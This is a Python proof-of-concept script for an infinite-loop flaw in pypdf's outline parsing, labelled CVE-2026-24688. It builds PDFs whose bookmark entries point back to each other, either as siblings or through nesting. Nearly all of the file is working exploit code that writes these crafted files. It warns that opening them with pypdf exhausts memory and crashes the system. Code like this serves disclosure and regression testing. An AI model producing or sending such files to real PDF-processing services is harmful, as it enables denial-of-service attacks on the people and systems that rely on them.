#!/usr/bin/env python3
"""
Create a malicious PDF with circular outline references.

This demonstrates the infinite loop vulnerability in pypdf's outline parsing (CVE-2026-24688).
"""

import sys
from pathlib import Path

# Add pypdf to path
sys.path.insert(0, str(Path(__file__).parent.parent))

from pypdf import PdfWriter
from pypdf.generic import (
    ArrayObject,
    DictionaryObject,
    IndirectObject,
    NameObject,
    NumberObject,
    TextStringObject,
)


def create_malicious_circular_outline():
    """
    Create a PDF with circular outline reference: A → B → A
    
    This will cause an infinite loop when accessing reader.outline
    """
    writer = PdfWriter()
    
    # Add a blank page so PDF is valid
    writer.add_blank_page(width=200, height=200)
    
    # Manually create outline structure with circular reference
    # We need to create the outline dictionary and items manually
    
    # Create outline items FIRST (before registering)
    outline_item_a = DictionaryObject()
    outline_item_b = DictionaryObject()
    
    # Register them to get indirect references
    ref_a = writer._add_object(outline_item_a)
    ref_b = writer._add_object(outline_item_b)
    
    # Now populate Item A
    outline_item_a.update({
        NameObject("/Title"): TextStringObject("Bookmark A"),
        NameObject("/Parent"): IndirectObject(1, 0, writer),  # Will point to outlines dict
        NameObject("/Next"): ref_b,  # Points to B
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # Populate Item B with CIRCULAR REFERENCE back to A
    outline_item_b.update({
        NameObject("/Title"): TextStringObject("Bookmark B"),
        NameObject("/Parent"): IndirectObject(1, 0, writer),  # Will point to outlines dict
        NameObject("/Next"): ref_a,  # ← CIRCULAR REFERENCE!
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # Create the main outlines dictionary
    outlines_dict = DictionaryObject()
    outlines_ref = writer._add_object(outlines_dict)
    
    outlines_dict.update({
        NameObject("/Type"): NameObject("/Outlines"),
        NameObject("/First"): ref_a,
        NameObject("/Last"): ref_b,
        NameObject("/Count"): NumberObject(2),
    })
    
    # Update parent references
    outline_item_a[NameObject("/Parent")] = outlines_ref
    outline_item_b[NameObject("/Parent")] = outlines_ref
    
    # Add outlines to catalog
    writer.root_object[NameObject("/Outlines")] = outlines_ref
    
    # Write the malicious PDF
    output_path = Path(__file__).parent / "malicious_circular_outline.pdf"
    with open(output_path, "wb") as f:
        writer.write(f)
    
    print(f"  Created malicious PDF: {output_path}")
    print()
    print("PDF structure:")
    print("  Outline Item A → Next: Item B")
    print("  Outline Item B → Next: Item A  ← CIRCULAR!")
    print()
    print("   WARNING: Opening this PDF with pypdf will cause an INFINITE LOOP!")
    return output_path


def create_nested_circular_outline():
    """
    Create PDF with nested circular reference via /First
    
    Structure:
      A → /First: B
      B → /Next: C
      C → /First: A  ← Circular via nesting
    """
    writer = PdfWriter()
    writer.add_blank_page(width=200, height=200)
    
    # Create items
    item_a = DictionaryObject()
    item_b = DictionaryObject()
    item_c = DictionaryObject()
    
    ref_a = writer._add_object(item_a)
    ref_b = writer._add_object(item_b)
    ref_c = writer._add_object(item_c)
    
    # A has B as child
    item_a.update({
        NameObject("/Title"): TextStringObject("Section A"),
        NameObject("/First"): ref_b,  # Child: B
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # B has C as next
    item_b.update({
        NameObject("/Title"): TextStringObject("Section B"),
        NameObject("/Next"): ref_c,  # Next sibling: C
        NameObject("/Parent"): ref_a,
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # C has A as child ← CIRCULAR!
    item_c.update({
        NameObject("/Title"): TextStringObject("Section C"),
        NameObject("/First"): ref_a,  # ← Circular reference!
        NameObject("/Parent"): ref_a,
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # Main outlines
    outlines_dict = DictionaryObject()
    outlines_ref = writer._add_object(outlines_dict)
    
    outlines_dict.update({
        NameObject("/Type"): NameObject("/Outlines"),
        NameObject("/First"): ref_a,
        NameObject("/Last"): ref_a,
        NameObject("/Count"): NumberObject(1),
    })
    
    item_a[NameObject("/Parent")] = outlines_ref
    
    writer.root_object[NameObject("/Outlines")] = outlines_ref
    
    output_path = Path(__file__).parent / "malicious_nested_circular.pdf"
    with open(output_path, "wb") as f:
        writer.write(f)
    
    print(f"Created nested circular PDF: {output_path}")
    print()
    print("PDF structure:")
    print("  A → /First: B")
    print("  B → /Next: C")
    print("  C → /First: A  ← CIRCULAR VIA NESTING!")
    return output_path


if __name__ == "__main__":
    print("=" * 70)
    print("pypdf Circular Outline Reference - PoC Generator")
    print("=" * 70)
    print()
    
    # Create malicious PDF
    pdf1 = create_malicious_circular_outline()
    
    print()
    print("=" * 70)
    print("Malicious PDF created successfully!")
    print("=" * 70)
    print()
    print("To test the vulnerability:")
    print()
    print("timeout 15s python test_exploit.py")
    print()
    print("WARNING: This will consume ~500 MB/sec and crash your system!")